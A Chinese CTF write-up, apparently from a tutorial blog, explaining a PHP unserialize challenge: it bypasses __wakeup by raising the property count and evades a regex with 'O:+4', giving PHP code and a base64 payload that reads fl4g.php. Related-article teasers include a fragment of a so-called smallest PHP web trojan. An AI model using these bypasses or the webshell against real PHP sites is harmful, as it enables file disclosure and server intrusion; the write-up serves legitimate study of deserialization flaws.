php安全攻防世界unserialize函数反序列化示例详解

目录
  • 步骤
  • 总结

步骤

首先打开题目,发现给了一段源码:

分析源码,发现类里面有三个魔术方法:

__construct():构造函数,对类的变量进行初始化,创建时自动调用,用得到的参数覆盖$file

__destruct():销毁时调用,会显示文件的代码,这里要显示fl4g.php

__wakeup():在进行反序列化之前会调用,会把$file重置成index.php

正则表达式的含义:o或c开头,冒号,一个或多个数字,不区分大小写

ok,分析完毕:我们要将序列化后的字符串进行base64加密之后进行get传参到var变量即可
但是这里我们可以看出需要绕过__wakeup()函数以及正则匹配,才能够拿到flag

__wakeup()方法绕过方法:当成员属性的数目大于实际数目的时候即可绕过此方法

正则匹配我们可以使用+来进行绕过

代码:

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$a = new Demo("fl4g.php");// 传入我们需要显示的文件
$b = serialize($a);// 进行序列化
echo $b;// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$b = str_replace("O:4", "O:+4", $b);// 绕过正则匹配
$b = str_replace("1:{","2:{",$b);// 绕过__wakeup()方法

echo base64_encode($b);// 进行base64编码并输出
?>

payload:var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

成功拿到flag~

注意:这里有个坑,要是直接将序列化之后的字符串进行手动修改再去找在线网站进行加密则会发现编码之后和我们payload里的不太一样

这是因为file变量为私有变量,所以序列化之后的字符串开头和结尾各有一个空白字符,而我们在对序列化之后的字符串进行输出时,浏览器则不显示空字符,如图:

细心的朋友也会发现Demofile只有8个字符,而长度却显示10。

所以正确的序列化字符串应该是

O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}

而我们由于是使用php代码直接进行编码的,全自动化,自然不会漏掉空字符。

解释一下php序列化字符串的格式:

首先对象类型分为以下几种

a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string

格式:对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

总结

考察对php中魔术方法的熟悉程度,以及反序列化的应用

以上就是攻防世界Web php unserialize正则表达式反序列化详解的详细内容,更多关于php攻防世界unserialize正则表达式反序列化的资料请关注我们其它相关文章!

(0)

相关推荐

  • PHP include任意文件或URL介绍

    实践出真理,写一个简单文件PHP文件include一个js文件,执行后没有报错或警告信息,同时看到被包含js的文件的内容被打印出来.因此得出结论:include 目标文件可以是任意类型. 现在再回头看include的官方文档,其中有这么一段话:"当一个文件被包含时,语法解析器在目标文件的开头脱离 PHP 模式并进入 HTML 模式,到文件结尾处恢复.由于此原因,目标文件中需要作为 PHP 代码执行的任何代码都必须被包括在有效的 PHP 起始和结束标记之中." 注意其中提到"H

  • 全世界最小的php网页木马一枚 附PHP木马的防范方法

    php网页木马 复制代码 代码如下: <?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <form method="POST"> 保存文件名: <input type="text&quo

  • 浅谈PHP安全防护之Web攻击

    SQL注入攻击(SQL Injection) 攻击者把SQL命令插入到Web表单的输入域或页面请求的字符串,欺骗服务器执行恶意的SQL命令.在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击. 常见的SQL注入式攻击过程类如: 1.某个Web应用有一个登录页面,这个登录页面控制着用户是否有权访问应用,它要求用户输入一个名称和密码: 2.登录页面中输入的内容将直接用来构造动态的SQL命令,或者直接用作存储过程的参数:

  • PHP Include文件实例讲解

    服务器端包含 (SSI) 用于创建可在多个页面重复使用的函数.页眉.页脚或元素. include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中. 包含文件很有用,如果您需要在网站的多张页面上引用相同的 PHP.HTML 或文本的话. PHP include 和 require 语句 通过 include 或 require 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前). include 和 re

  • php常见的网络攻击及防御方法

    常见的Web攻击分为两类:一是利用Web服务器的漏洞进行攻击,如CGI缓冲区溢出,目录遍历漏洞利用等攻击;二是利用网页自身的安全漏洞进行攻击,如SQL注入,跨站脚本攻击等.下面这篇文章主要介绍了PHP安全防护之Web攻击,需要的朋友可以参考,下面来一起看看吧. SQL注入攻击(SQL Injection) 攻击者把SQL命令插入到Web表单的输入域或页面请求的字符串,欺骗服务器执行恶意的SQL命令.在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类

  • php安全攻防世界unserialize函数反序列化示例详解

    目录 步骤 总结 步骤 首先打开题目,发现给了一段源码: 分析源码,发现类里面有三个魔术方法: __construct():构造函数,对类的变量进行初始化,创建时自动调用,用得到的参数覆盖$file __destruct():销毁时调用,会显示文件的代码,这里要显示fl4g.php __wakeup():在进行反序列化之前会调用,会把$file重置成index.php 正则表达式的含义:o或c开头,冒号,一个或多个数字,不区分大小写 ok,分析完毕:我们要将序列化后的字符串进行base64加密之

  • Swift 中的 JSON 反序列化示例详解

    目录 业界常用的几种方案 手动解码方案,如 Unbox(DEPRECATED) 阿里开源的 HandyJSON 基于 Sourcery 的元编程方案 Swift build-in API Codable 属性装饰器,如 BetterCodable 各个方案优缺点对比 Codable 介绍 原理浅析 Decoder.Container 协议 自研方案 功能设计 Decoder.Container 具体实现 再议 PropertyWrapper 应用场景示例 单元测试 性能对比 业界常用的几种方案

  • python模块shutil函数应用示例详解教程

    目录 本文大纲 知识串讲 1)模块导入 2)复制文件 3)复制文件夹 4)移动文件或文件夹 5)删除文件夹(慎用) 6)创建和解压压缩包 本文大纲 os模块是Python标准库中一个重要的模块,里面提供了对目录和文件的一般常用操作.而Python另外一个标准库--shutil库,它作为os模块的补充,提供了复制.移动.删除.压缩.解压等操作,这些 os 模块中一般是没有提供的.但是需要注意的是:shutil 模块对压缩包的处理是调用 ZipFile 和 TarFile这两个模块来进行的. 知识串

  • socket编程之bind()函数使用示例详解

    目录 正文 端口号具体是怎么绑定 老代码 端口被占用的问题解决 正文 当你创建了socket之后,你会想要把这个socket和你本机上的某个端口号(port)进行关联. 端口号是内核用来确认将收到的数据包交给哪个具体进程的socket descriptor的依据. 通常在写服务端程序的时候我们才需要进行关联,客户端程序不需要我们手动绑定端口,直接connect()就好了. 端口号具体是怎么绑定 #include <sys/types.h> #include <sys/socket.h&g

  • Python的函数使用示例详解

    目录 1 跳出循环-break 2 python函数 2.1 内置函数 2.2 自定义函数 2.3 main函数 在两种python循环语句的使用中,不仅仅是循环条件达到才能跳出循环体.所以,在对python函数进行阐述之前,先对跳出循环的简单语句块进行介绍. 1 跳出循环-break python提供了一种方便快捷的跳出循环的方法-break,示例如下,计算未知数字个数的总和: if __name__ == "__main__": sum = 0 while True: num =

  • Go语言中序列化与反序列化示例详解

    目录 前言 序列化 array.slice.map.struct对象 序列化的接口 反序列化 slice.map.struct反序列化 总结 前言 Go语言的序列化与反序列化在工作中十分常用,在Go语言中提供了相关的解析方法去解析JSON,操作也比较简单 序列化 // 数据序列化 func Serialize(v interface{})([]byte, error) // fix参数用于添加前缀 //idt参数用于指定你想要缩进的方式 func serialization (v interfa

  • JS前端使用canvas动态绘制函数曲线示例详解

    目录 前言 第一步:绘制坐标系 1.如何确定 x 轴和 y 轴的边界值 2.不是传入多少网格数就是多少网格 3.如何让坐标原点位于画布中心 4.刻度总是会有浮点数 第二步:画函数曲线 第三步:绘制辅助线和交点坐标 第四步:平移 第五步:缩放 第六步:动态绘制曲线 第七步:模糊到高清 前言 不说废话,我们直入主题.先来看看读了这篇文章你将得到什么,就是下面这个东西啦(是不是很清晰很顺滑): 那具体要做什么呢,我们来简单拆解一下步骤: 绘制坐标系 绘制多条函数曲线 绘制辅助线和坐标点 支持平移.缩放

  • MATLAB中print函数使用示例详解

    目录 语法 说明 示例 打印图窗纸张副本 将图窗复制到剪贴板 将图窗另存为图像文件 将图窗另存为向量图形文件 向 EPS 文件添加 TIFF 预览 指定要保存的图窗 以屏幕大小和分辨率保存图窗 保存填满页面的图窗 保存图窗而不保存 UIControl 返回图窗的 RGB 图像数据 创建高分辨率影片帧 print函数的功能是打印图窗或保存为特定文件格式. 语法 print(filename,formattype) print(filename,formattype,formatoptions) p

  • Go语言中的延迟函数defer示例详解

    前言 大家都知道go语言的defer功能很强大,对于资源管理非常方便,但是如果没用好,也会有陷阱哦.Go 语言中延迟函数 defer 充当着 try...catch 的重任,使用起来也非常简便,然而在实际应用中,很多 gopher 并没有真正搞明白 defer.return.返回值.panic 之间的执行顺序,从而掉进坑中,今天我们就来揭开它的神秘面纱!话不多说了,来一起看看详细的介绍吧. 先来运行下面两段代码: A. 匿名返回值的情况 package main import ( "fmt&qu

  • C语言进阶输入输出重定向与fopen函数使用示例详解

    目录 正片开始 输入输出重定向 fopen函数 正片开始 大多数情况下,我们所熟知的输入输出都是标准I/O(标准输入输出),也就是我们在写代码时会直接从键盘读取,从屏幕输出.但是当我们涉及到数据统计或者多组未定义内容输入时,我们的程序就会出现一些小问题 int n = 0; while(scanf("%d",&n)==1) 按照常理来说,这里 scanf 的返回值是成功输入的数的个数,输入一但结束,scanf 函数就无法继续读取 n,返回0,我们测试一下,输入“1,2,3,4,

随机推荐